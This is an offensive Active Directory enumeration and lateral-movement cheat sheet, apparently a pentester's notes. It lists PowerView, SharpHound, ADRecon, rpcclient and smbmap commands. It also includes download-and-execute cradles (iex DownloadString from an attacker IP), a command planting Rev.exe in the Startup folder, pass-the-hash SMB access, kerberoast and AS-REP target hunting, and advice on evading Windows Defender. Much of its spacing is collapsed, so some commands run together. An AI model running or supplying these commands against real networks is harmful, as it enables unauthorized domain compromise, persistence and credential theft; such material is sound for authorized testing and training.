Low-privilege enumeration with powershell < v5 (No Admin Rights)
From Powershell version 5 onwards these commands only work with Admin rights.
# current domain info[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()# domain trusts([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()# current forest info[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()# get forest trust relationships([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
# find AD hostsget-adcomputer-filter {PrimaryGroupID -eq'515'} # get DCs of a domainnltest /dclist:offense.localnet group "domain controllers"/domain# get DC for currently authenticated sessionnltest /dsgetdc:offense.local# get domain trusts from cmd shellnltest /domain_trusts# get user infonltest /user:"spotless"# get DC for currently authenticated sessionset l# get domain name and DC the user authenticated toklist# get all logon sessions. Includes NTLM authenticated sessionsklist sessions# kerberos tickets for the sessionklist# cached krbtgtklist tgt# whoami on older Windows systemsset u# find DFS shares with ADModuleGet-ADObject-filter *-SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local"| select name# find DFS shares with ADSI$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name}
# check if spooler service is running on a hostpowershell ls "\\dc01\pipe\spoolss"
Network Enumerating
If you just have access to an AD environment but you don't have any credentials/sessions.
Check for null and Guest Access on SMB Services
for old versions of windows, probably wont find it anymore.
A lot of information on an AD domain can be obtained through LDAP. Most of the information can only be obtained with an authenticated bind but metadata (naming contexts, dns server name, domain functional level) can be obtainable anonymously, even with anonymous binding disabled.
LDAP anonymous binding is usually disabled but it's worth checking.
nmap-n-sV--script"ldap* and not brute"-p389<DCIP>ldapdomaindump-uDOMAIN\\username-ppassword-ddomain.local
Find systems with SMB signing disabled
Can use these systems for SMB relay later on.
By default, windows servers and domain controllers a have this enabled but its disabled by default on workstations.
smbmap-H10.10.10.100# null sessionsmbmap-H10.10.10.100-R# recursive listingsmbmap-H10.10.10.100-dtest.local-uusername-ppasswordsmbclient-I10.10.10.100-LACTIVE-N-U""useSharename# select a SharenamecdFolder# move inside a folderls# list filespth-smbclient-U"AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A"//192.168.10.100/Sharepth-smbclient-U"MEGA/administrator%password.123"//192.168.56.103/SYSVOLls# list filescd# move inside a folderget# download filesput# replace a file
get-netshareget-dfsshareget-netfileserver#Enumerate Domain SharesFind-DomainShare#Enumerate Domain Shares the current user has accessFind-DomainShare-CheckShareAccess (powrview)#Enumerate "Interesting" Files on accessible sharesFind-InterestingDomainShareFile-Include *passwords*
Enum DHCP
When connecting a computer to most enterprise networks, if the Dynamic Host Configuration Protocol (DHCP) is enabled, it will assign an IP address to that computer, and send a lot of information. Nameservers and domain names are usually set through DHCP offer packets. On UNIX-like systems, the /etc/resolv.conf file will store information for name resolution operations after the DHCP offer.
nmap --script broadcast-dhcp-discover
In many cases, there will be MAC address filtering, static IP addressing, VLANs or NAC (Network Access Control) that can prevent testers from obtaining this information. In those situations, wireshark can be used to manually inspect broadcast and multicast packets that travel on the network and find valuable information that could help bypass those mitigation.
We can also spoof a fake DHCP or DHCPv6 server and capture some password hashes.
Enum MSRPC
MS-RPC (Microsoft Remote Procedure Call) is a protocol that allows requesting service from a program on another computer without having to understand the details of that computer's network. An MS-RPC service can be accessed through different transport protocols, among which:
a network SMB pipe (listening ports are 139 & 445)
plain TCP or plain UDP (listening port set at the service creation)
a local SMB pipe
RPC services over an SMB transport, i.e. port 445/TCP, are reachable through "named pipes"' (through the IPC$ share). There are many interesting named pipes that allow various operations from NULL sessions context, to local administrative context.
Find exposed services
The epmapper (MS-RPC EndPoint Mapper) maps services to ports. It uses port 135/TCP and/or port 593/TCP (for RPC over HTTP).
# with rpcdump.py (example with target port 135/TCP)rpcdump.py-port135 $TARGET_IP# with rpcdump.exe (example with target port 593/TCP)rpcdump.exe-p593 $TARGET_IP
Null sessions
NULL sessions are unauthenticated SMB sessions that allow attackers to operate RPC calls through SMB named pipes without being authenticated first. This allows for many recon techniques like the enumeration of domain and local information (users, groups, RIDs, SIDs, policies, etc.)
Recon through interesting named pipes
The Samba utility named rpcclient can be used to operate recon through MS-RPC services behind SMB named pipes. It offers multiple useful commands.
RID Cycling is a method that allows attackers to enumerate domain objects by bruteforcing or guessing RIDs and SIDs, based on the fact that RIDs are sequential.
The Python ridenum script can be used to operate that recon technique, with a Null session or with an authenticated one.
impacket can also be used to cycle through a number of RIDs with credentials and enumerate all the users.
Enum DNS
AD-DS (Active Directory Domain Services) rely on DNS SRV RR (service location resource records). Those records can be queried to find the location of some servers: the global catalog, LDAP servers, the Kerberos KDC and so on.
dnsutil
nslookup is a DNS client that can be used to query SRV records. It usually comes with the dnsutil package.
# find the PDC (Principal Domain Controller)nslookup-type=srv_ldap._tcp.pdc._msdcs.$FQDN_DOMAIN# find the DCs (Domain Controllers)nslookup-type=srv_ldap._tcp.dc._msdcs.$FQDN_DOMAIN# find the GC (Global Catalog, i.e. DC with extended data)nslookup-type=srvgc._msdcs.$FQDN_DOMAIN# Other ways to find services hosts that may be DCs nslookup-type=srv_kerberos._tcp.$FQDN_DOMAINnslookup-type=srv_kpasswd._tcp.$FQDN_DOMAINnslookup-type=srv_ldap._tcp.$FQDN_DOMAIN
In some cases windows defender will be triggered if you try to load scripts from known public sources such as github so its better if you host the script on your own machine or somewhere else.
Download Files
# Any version(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1","C:\Windows\Temp\PowerUp.ps1")# Powershell 4+## You can use 'IWR' as a shorthandInvoke-WebRequest "http://10.10.16.7/Rev.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Rev.exe"
for more file transfer techniques, check out this section.
# host the script & load in memory# from powershell:iex (New-Object Net.WebClient).DownloadString('http://192.168.56.1/PowerView.ps1')pwoe# from cmd:powershell -command iex (New-Object Net.WebClient).DownloadString('http://192.168.56.1/PowerView.ps1')
PowerView Cheat Sheet
# Get all users in the current domainGet-DomainUser| select -ExpandProperty cn# Get all computers in the current domainGet-DomainComputer# Get all domains in current forestGet-ForestDomain# Get domain/forest trustsGet-DomainTrustGet-ForestTrust# Get information for the DA groupGet-DomainGroup"Domain Admins"# Find members of the DA groupGet-DomainGroupMember"Domain Admins"| select -ExpandProperty membername# Find interesting shares in the domain, ignore default shares, and check accessFind-DomainShare-ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess# Get OUs for current domainGet-DomainOU-FullData# Get computers in an OU# %{} is a looping statementGet-DomainOU-name Servers |%{ Get-DomainComputer-SearchBase $_.distinguishedname } | select dnshostname# Get GPOs applied to a specific OUGet-DomainOU*WS*| select gplinkGet-DomainGPO-Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domainGet-DomainGPOLocalGroup-ResolveMembersToSIDs | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers# Get the computers where users are part of a local group through a GPO restricted groupGet-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
# Find principals that can create new GPOs in the domainGet-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=targetdomain,DC=com" -ResolveGUIDs | ?{ $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier
# Find principals that can link GPOs to OUsGet-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier
# Get incoming ACL for a specific objectGet-DomainObjectAcl-SamAccountName "Domain Admins"-ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights# Find interesting ACLs for the entire domain, show in a readable (left-to-right) formatFind-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft
# Get interesting outgoing ACLs for a specific user or group# ?{} is a filter statementFind-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights
Lateral Movement Cheat Sheet:
# Find existing local admin access for user Find-LocalAdminAccess# Hunt for sessions of interesting users on machines where you have access (also noisy 🚩)Find-DomainUserLocation-CheckAccess |?{$_.LocalAdmin-Eq True }# Look for kerberoastable usersGet-DomainUser-SPN | select name,serviceprincipalname# Look for AS-REP roastable usersGet-DomainUser-PreauthNotRequired | select name# Look for interesting ACL within the domain, filtering on a specific user or group you have compromised## Exploitation depends on the identified ACL, some techniques are discussed in this cheat sheet## Example for GenericWrite on user: Disable preauth or add SPN for targeted kerberoast (see below)Find-InterestingDomainAcl-ResolveGUIDs |?{$_.IdentityReferenceName-match"UserOrGroupToQuery"}# Look for servers with Unconstrained Delegation enabled## If available and you have admin privs on this server, get user TGT (see below)Get-DomainComputer-Unconstrained# Look for users or computers with Constrained Delegation enabled## If available and you have user/computer hash, access service machine as DA (see below)Get-DomainUser-TrustedToAuth | select userprincipalname,msds-allowedtodelegatetoGet-DomainComputer-TrustedToAuth | select name,msds-allowedtodelegateto
git clone https://github.com/sense-of-security/ADRecon.git# run ADRecon on a domain member host.\ADRecon.ps1# run ADRecon on a domain member host as a different user..\ADRecon.ps1 -DomainController <IP or FQDN>-Credential <domain\username># run ADRecon on a non-member host using LDAP.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN>-Credential <domain\username># run ADRecon with specific modules on a non-member host with RSAT. (Default OutputType is STDOUT with -Collect parameter)
.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential <domain\username> -Collect Domain, DomainControllers
# generate the ADRecon-Report.xlsx based on ADRecon output (CSV Files)..\ADRecon.ps1 -GenExcel C:\ADRecon-Report-<timestamp>
When you run ADRecon, a ADRecon-Report-<timestamp> folder will be created which will contain ADRecon-Report.xlsx and CSV-Folder with the raw files.
# run the collector on the machine using SharpHound.exe# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe.\SharpHound.exe-c all -d active.htb -SearchForest.\SharpHound.exe--EncryptZip --ZipFilename export.zip.\SharpHound.exe-c all,GPOLocalGroup.\SharpHound.exe-c all --LdapUsername <UserName>--LdapPassword <Password>--JSONFolder <PathToFile>.\SharpHound.exe -c all -d active.htb --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100
.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23
# or run the collector on the machine using Powershell# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1Invoke-BloodHound-SearchForest -CSVFolder C:\Users\PublicInvoke-BloodHound-CollectionMethod All -LDAPUser <UserName>-LDAPPass <Password>-OutputDirectory <PathToFile># with the newer version of bloodhound.ps1powershell-import /path/to/BloodHound.ps1powershell Get-BloodHoundData|Export-BloodHoundCSV
Then import the zip/json files into the Neo4J database and query them.
root@payload$aptinstallbloodhound# start BloodHound and the databaseroot@payload$neo4jconsole# or use dockerroot@payload$dockerrun-p7474:7474-p7687:7687-eNEO4J_AUTH=neo4j/bloodhoundneo4jroot@payload$./bloodhound--no-sandboxGotohttp://127.0.0.1:7474,usedb:bolt://localhost:7687,user:neo4J,pass:neo4j
we can use the exe version without argument and get the same output. download and extract it and upload all files in bloodhound UI.
this will dump all domain info to the attackers machine remotely without being detected but you need to have the credentials for at least a low-privilege user in the domain.
Domain & System Info
Domain Info
Get-NetDomainget-netforestget-netforestdomainGet-DomainPolicy#Will show us the policy configurations of the Domain about system access or kerberos(Get-DomainPolicy)."system access"(Get-DomainPolicy)."kerberos policy"# orGet-DomainPolicy|Select-Object-ExpandProperty SystemAccessGet-DomainPolicy|Select-Object-ExpandProperty KerberosPolicy
Get-NetForestDomainGet-NetForestDomain Forest <ForestName>#Domains of Forest EnumerationGet-NetForestDomainGet-NetForestDomain Forest <ForestName>#Map the Trust of the ForestGet-NetForestTrustGet-NetDomainTrust-Forest <ForestName>
#Finds all machines on the current domain where the current user has local admin accessFind-LocalAdminAccess-Verbose#Find local admins on all machines of the domain:Invoke-EnumerateLocalAdmin-Verbose#Find computers were a Domain Admin OR a spesified user has a sessionInvoke-UserHunterInvoke-UserHunter-GroupName "RDPUsers"Invoke-UserHunter-Stealth#Confirming admin access:Invoke-UserHunter-CheckAccess
Get all the groups in the current domain PowerView
Get-NetGroup
Get-NetGroup *admin*
Enum Group Policies
Get-NetGPO
# Shows active Policy on specified machine
Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPOGroup
#Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName <ComputerName>
others options:
#Get a spesific "string" on a user's attribute
Find-UserField -SearchField Description -SearchTerm "wtver"
#Enumerate user logged on a machine
Get-NetLoggedon -ComputerName <ComputerName>
#Enumerate Session Information for a machine
Get-NetSession -ComputerName <ComputerName>
#Enumerate domain machines of the current/specified domain where specific users are logged into
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
Enum OUs
Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
Enum ACLs
# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
#Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"